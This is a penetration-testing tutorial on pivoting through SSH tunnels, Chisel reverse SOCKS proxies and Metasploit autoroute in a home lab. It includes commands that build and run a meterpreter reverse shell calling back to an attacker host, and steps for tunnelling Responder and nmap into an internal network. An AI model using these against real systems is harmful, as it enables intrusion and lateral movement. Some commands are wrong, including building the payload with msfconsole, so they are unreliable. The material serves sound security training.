Pivoting, PortFwd, and Reverse PortFwd
Table of Contents
1. Overview
1.1. Tools
- Proxychains & FoxyProxy
- ssh
- Chisel
- C2 Capabilities
- Metasploit Meterpreter Session
- Cobalt Strike Beacons
- Sliver Impants
- Custom tooling
1.2. Home Lab Setup
Check out the post on it here for a complete walkthrough. The rough steps are:
- Install two ubuntu server VMs
- One of the servers have two NICs, one that your kali box can access and another one that your kali can NOT access
- The other server has one NIC, and that is one that can access the ubuntu server in step 2
2. Proxychains
- Proxychains is a tool for managing and directing tcp connections.
proxychains <normal shell command and its arguements>
2.1. Proxychains Setup & Config
This is assuming you already have an updated version of kali in your virutal machine manager. If you are using a different linux box it is assumed that you have enough linux knowledge to install proxychains.
On kali you can access your proxy chains config with your text editor of choice, for what we are doing vim is plenty fine.
- Open the config file with
sudo vim /etc/proxychains4.confg
(note you may have a slight configuration name difference without the number 4 in the name) - Towards the end of the file you will see a banner with
[ProxyList]
- you will need to add a
socks5 127.0.0.1 1080
line and have it commented out for the time being - save the file with
ESC :wq
- then throughout the pivots with proxychains you will comment the
socks4
line and uncomment thesocks5
line, and vice versa
2.2. FoxyProxy
- A plugin for firefox to manage proxy settings easier than going into settings each time you want to toggle proxy for your browser.
- These can be pointed to your socks proxy with
localhost
and the associated port for socks4 or socks5 to allow for connection to webservers your pivots have access too, seeing the victim's internal web apps like the users would - It can also be pointed to your burp or zap proxy so that your web browser activity is captured within those tools.
2.3. Proxychains Resources
3. SSH Pivots
3.1. Local Port Forward (-L)
- Local PortFwd, assigns local attacker port to a victims (either victim local host or other port open to just the victim) port.
- This could be that your attacker machine will receive some input on Port A with a different network and want to forward that port to the Victim port B.
- In offensive practice this will be rare
- NOTE:
<the address of the victim>
can be a different machine than the machine being SSH'd into or localhost OF the machine being SSH'd into
ssh -L <local Port of attacker>:<the address of the victim>:<victim Port> <remoteHost connecting>
3.1.1. Lab Practice
- using beta machine,
vagrant ssh
then runsudo tcpdump -i enp0s8 port 9999
- using attacker machine run
ssh -L 8888:172.16.100.13:9999 vagrant@192.168.100.12
- using attacker machine, open another terminal, run
nc localhost 8888
- using beta machine, confirm that
tcpdump
shows a connection.
3.1.2. Lab Challenge
Setup a basic webserver on your attacker machine that local port forwards using SSH to a victim port.
3.2. Reverse Port Forward (-R)
- Reverse PortFwd, sending traffic from the victim's port to the attacker's tunnel port (great for creating listeners on the other network)
- This will be the victim machine's port listening and sending that data back to your attacker machine
- In offensive practice this can do things like listening on smb ports of linux machines with a tool like responder
- Notes:
<the address of the recipent>
need only to be a computer your attacker has access too, perhaps a server serving payloads- This
victim Port
will ONLY listen for connections on its localhost, unless you modify/etc/ssh/sshd_config
ssh -R <victim Port>:<the address of the recipent>:<local port> <remoteHost connecting>
3.2.1. Lab Practice
- using attacker machine, run
nc -lvp 8989
this is the port we will send to - using attacker machine, run
ssh -R 7777:localhost:8989 vagrant@192.168.100.12
- using alpha machine,
vagrant ssh
then runnc localhost 7777
- using attacker machine, confirm connection
3.2.2. Lab Challenge
Setup responder on your attacker machine to listen to an SMB port on a victim linux machine.
This will require modifying GatewayPorts
to yes
in your /etc/ssh/sshd_config
of your alpha box.
3.3. Dynamic Traffic (-D)
- Allows for dynamic traffic to the other network that the victim has access.
- This will be the attacker computer interacting with the network through a victim computer
- Tools can be used through proxychains configuration
ssh -D <proxy port> <remoteHost connection>
3.3.1. Lab Practice
- using attacker machine, check that
/etc/proxychains4.conf
containssocks4 127.0.0.1 9050
(kali should have by default, if using another attacker box, please install and configure proxychains) - using attacker machine, run
ssh -D 9050 vagrant@10.168.100.12
- using attacker machine, run
proxychains wget 172.16.100.13
- using attacker machine, confirm default apache index file was downloaded from beta machine
3.3.2. Lab Challenge
Run nmap with various port scans and options using the beta machine nc
to open ports for confirmation and study the option compared to expected output.
hint: start with a single port as proxychains is slow
3.4. Side note, SSH's default help is great, right?
ssh -L option requires an argument -- L usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface] [-b bind_address] [-c cipher_spec] [-D [bind_address:]port] [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11] [-i identity_file] [-J [user@]host[:port]] [-L address] [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port] [-Q query_option] [-R address] [-S ctl_path] [-W host:port] [-w local_tun[:remote_tun]] destination [command [argument ...]]
thanks, ssh
4. Chisel
- Uses a client / server model to tunnel, transported over HTTP, and secured via SSH.
- It is a single executable for both client and server written in Go for great cross-complilation.
- In practice, chisel is mainly a tool used when SSH pivoting can't be used, like on windows boxes
- As we start reverse connections, if you see not response on your attacker listener, then it is most likely a virtual network issue. Ensure you have the proper virtual network adapter.
Attack configuration - Reverse Tunnel
Machine | Chisel or Proxychains Command |
---|---|
Attacker | ./chisel server -p <desired.port> --reverse |
Victim | ./chisel client <attack.ip>:<attack.port> R:<desired.reverse.port>:socks |
Attacker | edit /etc/proxychains4.conf and add socks5 127.0.0.1 <desired.reverse.port> |
Attacker | proxychains <command> |
4.1. Lab Practice
- Using attacker machine, Download chisel latest release for amd64 linux and unzip (
gzip -d <filename.gz>
) - Using attacker machine, host the chisel file (change into
~/Downloads
then runpython -m http.server
to host a simple http server) - Using attacker machine, edit
/etc/proxychains4.conf
and addsocks5 127.0.0.1 1080
- Using attacker machine, run
ssh vagrant@192.168.100.12
- Using attacker machine, run
scp <path to chiselFileName> vagrant@192.168.100.12:chisel
- Using attacker machine, run
<chiselExecutable> server -p 8000 --reverse
- Using alpha machine, run
./chisel client <your attacker ip>:8000 R:socks
- Using attacker machine, run
proxychains wget http://172.16.100.13/
- Using attacker machine, confirm default apache index file was downloaded from beta machine
4.2. Lab Challenge
Setup a windows box in virtualbox with 192.168.100.20
& 172.16.100.20
and on those networks. Then using the gui for the windows box and your attacker machine, setup the same chisel as above and wget
from the beta box.
Hint: ensure you also download the correct windows binary from the latest releases.
4.3. Chisel Resources
5. Metasploit
- If you are already using c2s for communication and session management then pivoting is build right into some.
- With metasploit,
msfconsole
can attempt to automatically add the routes for you when you call thepost/multi/manage/autoroute
when you have a meterpreter payload - Note: This can be used as a SOCKS proxy like the pivoting above to run your own tooling through
proxychains
or can be used to run another metasploit module for more flexibility.
5.1. Autoroute
background use post/multi/manage/autoroute set SESSION <session number> run
5.2. Route
route add <IP ADDRESS OF SUBNET> <NETMASK> <GATEWAY>
5.3. Lab Practice
5.3.1. Reverse shell running on alpha box
Since this is a c2 framework, we need to already have a payload executed. Normally this would be done through exploiting a vulnerable application/service or some sort of social engineering. Since this practice is all about getting the pivot to work, we are going to create, upload, and execute a payload directly on alpha box; Allowing us to skip the need for some sort of exploitation.
- Using attacker machine, run
msfconsole -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.100.5 LPORT=4444 -f elf > shellx64
- Using attacker machine, run
scp ./shellx64 vagrant@192.168.100.12:/home/vagrant/shellx64
- Using attacker machine, run
sudo msfconsole
- Using attacker machine, within msfconsole, run
use exploit/multi/handler
- Using attacker machine, within msfconsole, set the following parameters
set payload linux/x64/meterpreter_reverse_tcp set LHOST 192.168.100.5 set LPORT 4444
- Using attacker machine, within msfconsole, run
run
- Using alpha box,
SSH
into the box and runchmod +x ./shellx64
, then execute with./shellx64
- Using attacker msfconsole, confirm meterpreter session, then run
background
to return to msfconsole - Using attacker msfconsole, run
use post/multi/manage/autoroute
- Using attacker msfconsole, set the following parameters
set SRVHOST 127.0.0.1 set SRVPORT 1080
- Using attacker msfconsole, run
run
- Using attacker msfconsole, confirm route added
[+] Route added to subnet 172.16.100.0
- Using attacker machine, using a separate terminal run
proxychains wget http://172.16.100.13
5.4. Lab Challenge
Setup a vulnderable web app (something that metasploit has a module for) on the beta box, then you metasploit to pivot through alpha box to attack and exploit beta box.